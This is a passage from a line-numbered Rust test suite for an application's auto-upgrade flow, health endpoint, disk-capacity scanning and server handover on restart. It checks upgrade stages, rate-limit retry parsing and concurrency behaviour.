22380 use AutoUpgradeDecision::{Skip, Trigger, Wait};
22381 let mut cfg = Update::default();
22382 assert!(matches!(
22383 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22384 Skip(_)
22385 ));
22386 cfg.auto_restart = true;
22387 assert_eq!(
22388 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22389 Trigger
22390 );
22391 assert_eq!(
22392 auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22393 Wait
22394 );
22395 for (disabled, moving, failed) in [
22396 (true, false, None),
22397 (false, true, None),
22398 (false, false, Some("v2")),
22399 ] {
22400 assert!(matches!(
22401 auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22402 Skip(_)
22403 ));
22404 }
22405 assert_eq!(
22406 auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22407 Trigger
22408 );
22409 cfg.mode = UpdateMode::Off;
22410 assert!(matches!(
22411 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22412 Skip(_)
22413 ));
22414 }
22415
22416 #[test]
22417 fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22418 let home = TempDir::new().unwrap();
22419 let ui = idle_ui(&home);
22420 assert!(!ui.auto_upgrade_busy());
22421 let directory = home.path().join("workers/jobs/abcdef");
22422 std::fs::create_dir_all(&directory).unwrap();
22423 let mut job = crate::worker::Job {
22424 id: "abcdef".into(),
22425 sequence: 1,
22426 kind: "scheduler".into(),
22427 key: "scheduler".into(),
22428 payload: serde_json::json!({}),
22429 generation: "test".into(),
22430 version: None,
22431 status: crate::worker::Status::Running,
22432 result: None,
22433 pid: None,
22434 created_at: 0,
22435 finished_at: None,
22436 };
22437 let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22438 let write = |job: &crate::worker::Job| {
22439 std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22440 };
22441 write(&job);
22442 assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22443 for kind in ["task", "chat"] {
22444 job.kind = kind.into();
22445 write(&job);
22446 assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22447 }
22448 drop(lease);
22449 assert!(
22453 !ui.auto_upgrade_busy(),
22454 "completed execution permits updates"
22455 );
22456 std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
22457 assert!(
22458 ui.auto_upgrade_busy(),
22459 "unreadable worker state defers updates"
22460 );
22461 }
22462
22463 fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
22464 Box::pin(async { anyhow::bail!("test installer failed") })
22465 }
22466
22467 #[tokio::test]
22468 async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
22469 let home = TempDir::new().unwrap();
22470 std::fs::write(
22471 home.path().join("magi.toml"),
22472 "[update]\nauto_restart = true\n",
22473 )
22474 .unwrap();
22475 let mut ui = idle_ui(&home);
22476 ui.repo = home.path().to_path_buf();
22477 ui.upgrade_runner = fail_test_upgrade;
22479 let ui = Arc::new(ui);
22480 let latest = || {
22481 Some(kaishin::LatestRelease {
22482 tag_name: "v999.0.0".into(),
22483 html_url: String::new(),
22484 })
22485 };
22486 ui.talk_turns.lock().unwrap().live.insert("busy".into());
22487 assert_eq!(
22488 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22489 .await
22490 .status(),
22491 StatusCode::NO_CONTENT
22492 );
22493 assert!(updater::read_progress(home.path()).is_none());
22494 ui.talk_turns.lock().unwrap().live.clear();
22495 let gate = ui.upgrade_gate.lock().await;
22496 assert_eq!(
22497 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22498 .await
22499 .status(),
22500 StatusCode::CONFLICT
22501 );
22502 drop(gate);
22503 assert_eq!(
22504 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22505 .await
22506 .status(),
22507 StatusCode::ACCEPTED
22508 );
22509 let progress = updater::read_progress(home.path()).unwrap();
22510 assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
22511 assert_eq!(progress.stage, updater::Stage::Downloading);
22512 assert!(progress.parked_run.is_none());
22513 assert!(ui.start_detached_loop().await.is_err());
22514 assert!(ui.start_loop(None).is_err());
22515 assert!(ui.begin_resume("late").is_err());
22516 tokio::time::timeout(Duration::from_secs(2), async {
22517 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22518 tokio::task::yield_now().await;
22519 }
22520 })
22521 .await
22522 .unwrap();
22523 let progress = updater::read_progress(home.path()).unwrap();
22524 assert_eq!(progress.stage, updater::Stage::Failed);
22525 assert_eq!(
22526 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22527 .await
22528 .status(),
22529 StatusCode::NO_CONTENT
22530 );
22531 let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22533 assert_eq!(
22534 finish_upgrade_request(&ui, result).status(),
22535 StatusCode::ACCEPTED
22536 );
22537 assert_eq!(
22538 updater::read_progress(home.path()).unwrap().trigger,
22539 updater::UpgradeTrigger::Manual
22540 );
22541 tokio::time::timeout(Duration::from_secs(2), async {
22542 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22543 tokio::task::yield_now().await;
22544 }
22545 })
22546 .await
22547 .unwrap();
22548 }
22549
22550 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22551 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22552 p.stage = stage;
22553 p
22554 }
22555
22556 #[test]
22557 fn busy_stages_match_the_ui_set() {
22558 use crate::updater::Stage;
22559 assert!(APP_JS.contains(
22560 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22561 ));
22562 for s in [
22563 Stage::Downloading,
22564 Stage::Replaced,
22565 Stage::Parking,
22566 Stage::Restarting,
22567 ] {
22568 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22569 }
22570 for s in [Stage::Done, Stage::Failed] {
22571 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22572 }
22573 assert!(upgrade_in_motion(None).is_none());
22574 }
22575
22576 #[tokio::test]
22577 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22578 use crate::updater::Stage;
22579 for stage in [
22580 Stage::Downloading,
22581 Stage::Replaced,
22582 Stage::Parking,
22583 Stage::Restarting,
22584 ] {
22585 let fx = Fixture::start().await;
22586 let seeded = seeded_progress(stage);
22587 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22588 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22589 .expect("read");
22590
22591 let res = fx.post("/api/upgrade", None).await;
22592 assert_eq!(res.status, 409, "{stage:?}");
22593 let err = res.json()["error"].as_str().unwrap().to_owned();
22594 assert!(err.contains("already in progress"), "{err}");
22595 assert!(err.contains(stage.as_str()), "{err}");
22596
22597 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22598 .expect("read");
22599 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22600 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22601 .unwrap_or_default();
22602 assert!(!log.contains("signalling HANDOVER"), "{log}");
22603 }
22604 }
22605
22606 #[test]
22607 fn upgrade_retry_timing_only_parses_known_diagnostics() {
22608 assert_eq!(
22609 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22610 Some(3723)
22611 );
22612 assert_eq!(
22613 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22614 Some(60)
22615 );
22616 assert_eq!(
22617 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22618 Some(0)
22619 );
22620 for message in [
22621 "permission denied",
22622 "GitHub API rate limit exceeded",
22623 "GitHub rate limit (resets in unknown)",
22624 "GitHub rate limit (resets in 18446744073709551615d)",
22625 ] {
22626 assert_eq!(upgrade_retry_after(message), None, "{message}");
22627 }
22628 }
22629
22630 #[tokio::test]
22631 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22632 let home = TempDir::new().unwrap();
22633 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22634 ui.start_loop(None).unwrap();
22635 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22636 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22637 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22638 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22639 let response = finish_upgrade_request(&ui, result);
22640 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22641 assert_eq!(response.headers()["retry-after"], "120");
22642 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22643 .await
22644 .unwrap();
22645 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22646 assert!(body["error"].as_str().unwrap().contains(reason));
22647 assert_eq!(body["retry_after_secs"], 120);
22648 assert!(body["retry_at"].as_u64().is_some());
22649 for _ in 0..2 {
22650 let view = health(State(ui.clone())).await.unwrap().0;
22651 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22652 assert_eq!(failure, body);
22653 }
22654 assert_eq!(
22655 std::fs::read(updater::progress_path(home.path())).unwrap(),
22656 before
22657 );
22658 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
22659 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
22660 let gate = ui.upgrade_gate.lock().await;
22662 assert_eq!(
22663 upgrade_post(State(ui.clone())).await.status(),
22664 StatusCode::CONFLICT
22665 );
22666 drop(gate);
22667 assert!(
22668 health(State(ui.clone()))
22669 .await
22670 .unwrap()
22671 .0
22672 .upgrade_request_error
22673 .is_some()
22674 );
22675 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22676 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22677 assert!(
22678 health(State(ui.clone()))
22679 .await
22680 .unwrap()
22681 .0
22682 .upgrade_request_error
22683 .is_none()
22684 );
22685 let live = ui.lock_loop().live.take().unwrap();
22686 live.stop.stop();
22687 live.handle.await.unwrap();
22688 }
22689
22690 #[tokio::test]
22691 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22692 use crate::updater::Stage;
22693 let repo = TempDir::new().expect("repo dir");
22694 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22695 .expect("write magi.toml");
22696 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22697 for stage in [Stage::Done, Stage::Failed] {
22698 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22699 let res = fx.post("/api/upgrade", None).await;
22700 assert_eq!(res.status, 200, "{stage:?}");
22701 }
22702 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22704 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22705 }
22706
22707 #[tokio::test]
22708 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22709 let repo = TempDir::new().expect("repo dir");
22725 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22726 .expect("write magi.toml");
22727 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22728
22729 let res = fx.post("/api/upgrade", None).await;
22735 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22736 let body = res.json();
22737 assert!(body["to"].is_null(), "there was no release to move to");
22738 assert!(body["parked"].is_null(), "and nothing was parked");
22739 assert!(
22740 body["detail"]
22741 .as_str()
22742 .unwrap()
22743 .contains("nothing restarted"),
22744 "{body:?}"
22745 );
22746 }
22747
22748 async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
22749 tokio::time::timeout(Duration::from_secs(5), async {
22750 while state.lock().unwrap().in_flight {
22751 tokio::task::yield_now().await;
22752 }
22753 })
22754 .await
22755 .expect("capacity scan finished");
22756 }
22757
22758 fn disk_test_scope(home: &FsPath) -> DiskScope {
22759 DiskScope {
22760 runs: home.join("runs"),
22761 worktrees: home.join("worktrees"),
22762 cache: Some(home.join("cache")),
22763 }
22764 }
22765
22766 fn known_disk_capacity() -> DiskCapacity {
22767 DiskCapacity {
22768 free_bytes: Some(100),
22769 runs_bytes: Some(200),
22770 worktrees_bytes: Some(300),
22771 cache_bytes: Some(400),
22772 }
22773 }
22774
22775 #[tokio::test]
22776 async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
22777 let home = TempDir::new().unwrap();
22778 std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
22779 let mut ui = delta_test_ui(home.path());
22780 let state = Arc::get_mut(&mut ui).unwrap();
22781 state.repo = home.path().to_owned();
22782 state.worktrees_root = home.path().join("worktrees");
22783 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
22784 ui.monitor
22785 .worker_started
22786 .store(true, std::sync::atomic::Ordering::SeqCst);
22787 let cfg = deputy_config(&ui.repo);
22788 let scope = DiskScope::of(&ui, cfg.as_ref());
22789 let (started, reached) = tokio::sync::oneshot::channel();
22790 let (release, blocked) = std::sync::mpsc::channel();
22791 let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
22792 started.send(()).unwrap();
22793 blocked.recv().unwrap();
22794 known_disk_capacity()
22795 });
22796 assert!(cold.runs_bytes.is_none());
22797 tokio::time::timeout(Duration::from_secs(5), reached)
22798 .await
22799 .unwrap()
22800 .unwrap();
22801
22802 let requests: Vec<_> = (0..4)
22803 .map(|_| {
22804 let ui = ui.clone();
22805 tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
22806 })
22807 .collect();
22808 tokio::time::timeout(Duration::from_secs(5), async {
22809 for request in requests {
22810 let view = request.await.unwrap();
22811 let disk = serde_json::to_value(view.disk).unwrap();
22812 assert!(disk["runs_bytes"].is_null());
22813 assert!(disk["worktrees_bytes"].is_null());
22814 assert!(disk["free_bytes"].is_u64());
22817 }
22818 })
22819 .await
22820 .expect("health must return while the measurement is causally blocked");
22821 assert!(ui.monitor.disk.lock().unwrap().in_flight);
22822 assert!(
22824 ui.monitor
22825 .disk
22826 .lock()
22827 .unwrap()
22828 .capacity
22829 .runs_bytes
22830 .is_none()
22831 );
22832 release.send(()).unwrap();
22833 wait_for_disk_scan(&ui.monitor.disk).await;
22834 assert_eq!(
22835 ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
22836 Some(200)
22837 );
22838 }
22839
22840 #[tokio::test]
22841 async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
22842 let home = TempDir::new().unwrap();
22843 let scope = disk_test_scope(home.path());
22844 let state = Arc::new(Mutex::new(DiskObservation {
22845 scope: Some(scope.clone()),
22846 capacity: known_disk_capacity(),
22847 finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
22848 ..Default::default()
22849 }));
22850 let (started, reached) = tokio::sync::oneshot::channel();
22851 let (release, blocked) = std::sync::mpsc::channel();
22852 let before = DiskObservation::observe(&state, scope.clone(), move |_| {
22853 started.send(()).unwrap();
22854 blocked.recv().unwrap();
22855 DiskCapacity {
22856 runs_bytes: Some(250),
22857 ..Default::default()
22858 }
22859 });
22860 assert_eq!(before.cache_bytes, Some(400));
22861 tokio::time::timeout(Duration::from_secs(5), reached)
22862 .await
22863 .unwrap()
22864 .unwrap();
22865 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22866 for _ in 0..4 {
22867 let scans = duplicate_scans.clone();
22868 let during = DiskObservation::observe(&state, scope.clone(), move |_| {
22869 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22870 DiskCapacity::default()
22871 });
22872 assert_eq!(during.runs_bytes, Some(200));
22873 assert_eq!(during.cache_bytes, Some(400));
22874 }
22875 release.send(()).unwrap();
22876 wait_for_disk_scan(&state).await;
22877 let scans = duplicate_scans.clone();
22878 let after = DiskObservation::observe(&state, scope, move |_| {
22879 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22880 DiskCapacity::default()
22881 });
22882 wait_for_disk_scan(&state).await;
22883 assert_eq!(after.runs_bytes, Some(250));
22884 assert_eq!(after.free_bytes, Some(100));
22885 assert_eq!(after.cache_bytes, Some(400));
22886 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22887 assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
22888 }
22889
22890 #[tokio::test]
22891 async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
22892 let home = TempDir::new().unwrap();
22893 let old_scope = disk_test_scope(home.path());
22894 let mut new_scope = old_scope.clone();
22895 new_scope.cache = Some(home.path().join("replacement-cache"));
22896 let state = Arc::new(Mutex::new(DiskObservation {
22897 scope: Some(old_scope.clone()),
22898 capacity: known_disk_capacity(),
22899 ..Default::default()
22900 }));
22901 let (started, reached) = tokio::sync::oneshot::channel();
22902 let (release, blocked) = std::sync::mpsc::channel();
22903 DiskObservation::observe(&state, old_scope, move |_| {
22904 started.send(()).unwrap();
22905 blocked.recv().unwrap();
22906 known_disk_capacity()
22907 });
22908 tokio::time::timeout(Duration::from_secs(5), reached)
22909 .await
22910 .unwrap()
22911 .unwrap();
22912 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22913 let scans = duplicate_scans.clone();
22914 let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
22915 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22916 DiskCapacity::default()
22917 });
22918 assert!(changed.cache_bytes.is_none());
22919 assert!(changed.runs_bytes.is_none());
22920 release.send(()).unwrap();
22921 wait_for_disk_scan(&state).await;
22922 {
22923 let observation = state.lock().unwrap();
22924 assert!(observation.capacity.cache_bytes.is_none());
22925 assert!(observation.finished.is_none());
22926 }
22927 DiskObservation::observe(&state, new_scope.clone(), move |scope| {
22928 assert_eq!(scope, &new_scope);
22929 DiskCapacity {
22930 cache_bytes: Some(999),
22931 ..Default::default()
22932 }
22933 });
22934 wait_for_disk_scan(&state).await;
22935 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
22936 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22937 }
22938
22939 #[tokio::test]
22940 async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
22941 let home = TempDir::new().unwrap();
22942 let scope = disk_test_scope(home.path());
22943 let state = Arc::new(Mutex::new(DiskObservation {
22944 scope: Some(scope.clone()),
22945 capacity: known_disk_capacity(),
22946 ..Default::default()
22947 }));
22948 DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
22949 wait_for_disk_scan(&state).await;
22950 {
22951 let mut observation = state.lock().unwrap();
22952 assert_eq!(observation.capacity.cache_bytes, Some(400));
22953 assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
22954 observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
22955 }
22956 DiskObservation::observe(&state, scope, |_| DiskCapacity {
22957 cache_bytes: Some(450),
22958 ..Default::default()
22959 });
22960 wait_for_disk_scan(&state).await;
22961 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
22962 }
22963
22964 #[test]
22965 fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
22966 let home = TempDir::new().unwrap();
22967 assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
22968 assert_eq!(disk_capacity_size(home.path()), Some(0));
22969 std::fs::create_dir(home.path().join("nested")).unwrap();
22970 std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
22971 assert_eq!(disk_capacity_size(home.path()), Some(5));
22972 #[cfg(unix)]
22973 {
22974 assert_eq!(
22976 disk_capacity_size(&home.path().join("nested/data/child")),
22977 None
22978 );
22979 }
22980 #[cfg(unix)]
22981 {
22982 std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
22983 assert_eq!(disk_capacity_size(home.path()), Some(5));
22984 }
22985 }
22986
22987 #[tokio::test]
22988 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
22989 let repo = TempDir::new().expect("repo dir");
22994 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22995 .expect("write magi.toml");
22996 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22997
22998 let health = fx.get("/api/health").await.json();
22999 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
23000 assert_eq!(
23001 health["update"]["available"], false,
23002 "checking is off, which reads as \"unknown\", not \"none\""
23003 );
23004 assert!(health["update"]["to"].is_null());
23005 assert!(
23006 health["upgrade"].is_null(),
23007 "nothing has ever asked this deck to upgrade"
23008 );
23009 }
23010
23011 #[tokio::test]
23012 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
23013 let fx = Fixture::start().await;
23014 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
23015
23016 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23017 progress.parked_run = Some("20260905-000000-cd51".to_owned());
23018 progress.advance(crate::updater::Stage::Parking);
23019 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23020
23021 let health = fx.get("/api/health").await.json();
23022 assert_eq!(health["upgrade"]["stage"], "parking");
23023 assert_eq!(health["upgrade"]["from"], "0.5.1");
23024 assert_eq!(health["upgrade"]["to"], "0.5.2");
23025 let waiting_on = health["upgrade"]["waiting_on"]
23026 .as_str()
23027 .expect("waiting_on is set while parking a known run");
23028 assert!(waiting_on.contains("cd51"), "{waiting_on}");
23029 assert!(waiting_on.contains("implementing"), "{waiting_on}");
23030 }
23031
23032 #[tokio::test]
23033 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
23034 let fx = Fixture::start().await;
23035 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23036 progress.advance(crate::updater::Stage::Done);
23037 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23038
23039 let health = fx.get("/api/health").await.json();
23040 assert_eq!(health["upgrade"]["stage"], "done");
23041 assert!(
23042 health["upgrade"]["waiting_on"].is_null(),
23043 "nothing to wait on once it is done"
23044 );
23045 }
23046
23047 #[tokio::test]
23050 async fn the_handover_signal_wakes_one_waiter_once() {
23051 let signal = Notify::new();
23052 signal.notify_one();
23054 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
23055 .await
23056 .expect("an early signal is still seen");
23057 assert!(
23059 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
23060 .await
23061 .is_err(),
23062 "a consumed signal must not wake a second time"
23063 );
23064 let signal = std::sync::Arc::new(signal);
23066 let waiter = tokio::spawn({
23067 let signal = std::sync::Arc::clone(&signal);
23068 async move { wait_for_handover(&signal).await }
23069 });
23070 tokio::time::sleep(Duration::from_millis(20)).await;
23071 assert!(!waiter.is_finished(), "nothing was signalled yet");
23072 signal.notify_one();
23073 tokio::time::timeout(Duration::from_secs(5), waiter)
23074 .await
23075 .expect("a late signal wakes the waiter")
23076 .expect("join");
23077 }
23078
23079 #[tokio::test]
23080 async fn health_says_how_long_a_handover_has_been_stuck() {
23081 let fx = Fixture::start().await;
23082 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23083 progress.advance(crate::updater::Stage::Replaced);
23084 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
23085 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23086
23087 let health = fx.get("/api/health").await.json();
23088 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
23089 assert!(stuck >= 600, "{stuck}");
23090 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
23091 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
23092 }
23093
23094 #[tokio::test]
23095 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
23096 let home = tempfile::tempdir().expect("temp home");
23097 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23098 progress.advance(crate::updater::Stage::Parking);
23099 crate::updater::write_progress(home.path(), &progress).expect("seed");
23100 let mut again = progress.clone();
23102 again.advance(crate::updater::Stage::Replaced);
23103 crate::updater::write_progress(home.path(), &again).expect("replaced");
23104 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23105 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
23106 let after = crate::updater::read_progress(home.path()).expect("record");
23107 assert_eq!(after.stage, crate::updater::Stage::Parking);
23108 }
23109
23110 #[tokio::test]
23111 async fn health_does_not_call_a_live_parking_wait_stuck() {
23112 let fx = Fixture::start().await;
23113 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23114 progress.parked_run = Some("20260905-000000-cd51".to_owned());
23115 progress.advance(crate::updater::Stage::Parking);
23116 let hours = Duration::from_secs(3 * 3600);
23117 progress.started_at = Timestamp::now() - hours;
23118 progress.updated_at = Timestamp::now() - hours;
23119 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23120 let _lease = crate::updater::LeaseGuard::enter(
23121 fx.home.path(),
23122 Some("20260905-000000-cd51".to_owned()),
23123 );
23124
23125 let health = fx.get("/api/health").await.json();
23126 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
23127 assert!(health["upgrade"]["stuck_kind"].is_null());
23128 assert_eq!(health["upgrade"]["handover_alive"], true);
23129 let waiting_on = health["upgrade"]["waiting_on"]
23130 .as_str()
23131 .expect("waiting_on");
23132 assert!(waiting_on.contains("cd51"), "{waiting_on}");
23133 }
23134
23135 fn idle_ui(home: &TempDir) -> Ui {
23136 let runs = home.path().join("runs");
23137 std::fs::create_dir_all(&runs).expect("runs dir");
23138 Ui::new(
23139 Queue::at(home.path().join("queue")),
23140 Questions::at(home.path().join("questions")),
23141 Talks::at(home.path().join("talks")),
23142 runs,
23143 home.path().to_path_buf(),
23144 PathBuf::from("/repo/magi"),
23145 )
23146 .with_launch(launch_idle)
23147 }
23148
23149 #[tokio::test]
23150 async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
23151 let home = TempDir::new().expect("temp home");
23152 let ui = idle_ui(&home);
23153 let lease = crate::worker::try_lease(home.path(), "scheduler")
23154 .expect("scheduler lease")
23155 .expect("free");
23156 crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
23157 .expect("request stop");
23158 let error = ui
23159 .start_detached_loop()
23160 .await
23161 .expect_err("transition is still live");
23162 assert_eq!(error.status, StatusCode::CONFLICT);
23163 assert!(error.message.contains("still running or stopping"));
23164 assert_eq!(
23165 crate::worker::control(home.path(), "scheduler").unwrap(),
23166 Some(crate::worker::Control::Stop)
23167 );
23168 drop(lease);
23169 }
23170
23171 #[tokio::test]
23172 async fn handover_releases_listener_without_waiting_for_execution_leases() {
23173 let home = TempDir::new().expect("temp home");
23174 let ui = idle_ui(&home);
23175 let turns = ui
23176 .begin_talk_turn("active-chat")
23177 .expect("claim")
23178 .expect("free");
23179 let execution = crate::worker::try_lease(home.path(), "active-task")
23180 .expect("execution lease")
23181 .expect("free");
23182 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23183 .await
23184 .expect("bind loopback");
23185 let address = listener.local_addr().expect("address");
23186 let admissions = Arc::clone(&ui.admissions);
23187 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
23188 let successor_started = std::sync::atomic::AtomicBool::new(false);
23189 tokio::time::timeout(
23190 Duration::from_secs(2),
23191 hand_over(home.path(), &admissions, served, || {
23192 successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
23193 Ok(1)
23194 }),
23195 )
23196 .await
23197 .expect("restart must not wait for execution")
23198 .expect("handover");
23199 assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
23200 let successor = bind_waiting(address)
23203 .await
23204 .expect("successor binds released address");
23205 assert_eq!(successor.local_addr().unwrap(), address);
23206 assert!(turns.owns(), "the chat lease survives restart");
23207 assert!(
23208 crate::worker::try_lease(home.path(), "active-task")
23209 .unwrap()
23210 .is_none()
23211 );
23212 drop(execution);
23213 drop(turns);
23214 }
23215
23216 #[tokio::test]
23217 async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
23218 let home = TempDir::new().expect("temp home");
23219 let ui = idle_ui(&home);
23220 let admission = ui.begin_admission().expect("admit send");
23221 let turn = ui
23222 .begin_talk_turn("active-chat")
23223 .expect("claim")
23224 .expect("free");
23225 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23226 .await
23227 .expect("bind loopback");
23228 let address = listener.local_addr().expect("address");
23229 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
23230 let successor_called = std::sync::atomic::AtomicBool::new(false);
23231 let handover = hand_over(home.path(), &ui.admissions, served, || {
23232 successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
23233 Ok(1)
23234 });
23235 tokio::pin!(handover);
23236 std::future::poll_fn(|cx| {
23239 assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
23240 std::task::Poll::Ready(())
23241 })
23242 .await;
23243 assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
23244 assert!(
23245 ui.begin_admission().is_err(),
23246 "new ingress cannot race the drain"
23247 );
23248 assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
23249 drop(admission);
23250 tokio::time::timeout(Duration::from_secs(2), handover)
23251 .await
23252 .expect("only publication may delay restart")
23253 .expect("handover");
23254 assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
23255 assert!(
23256 turn.owns(),
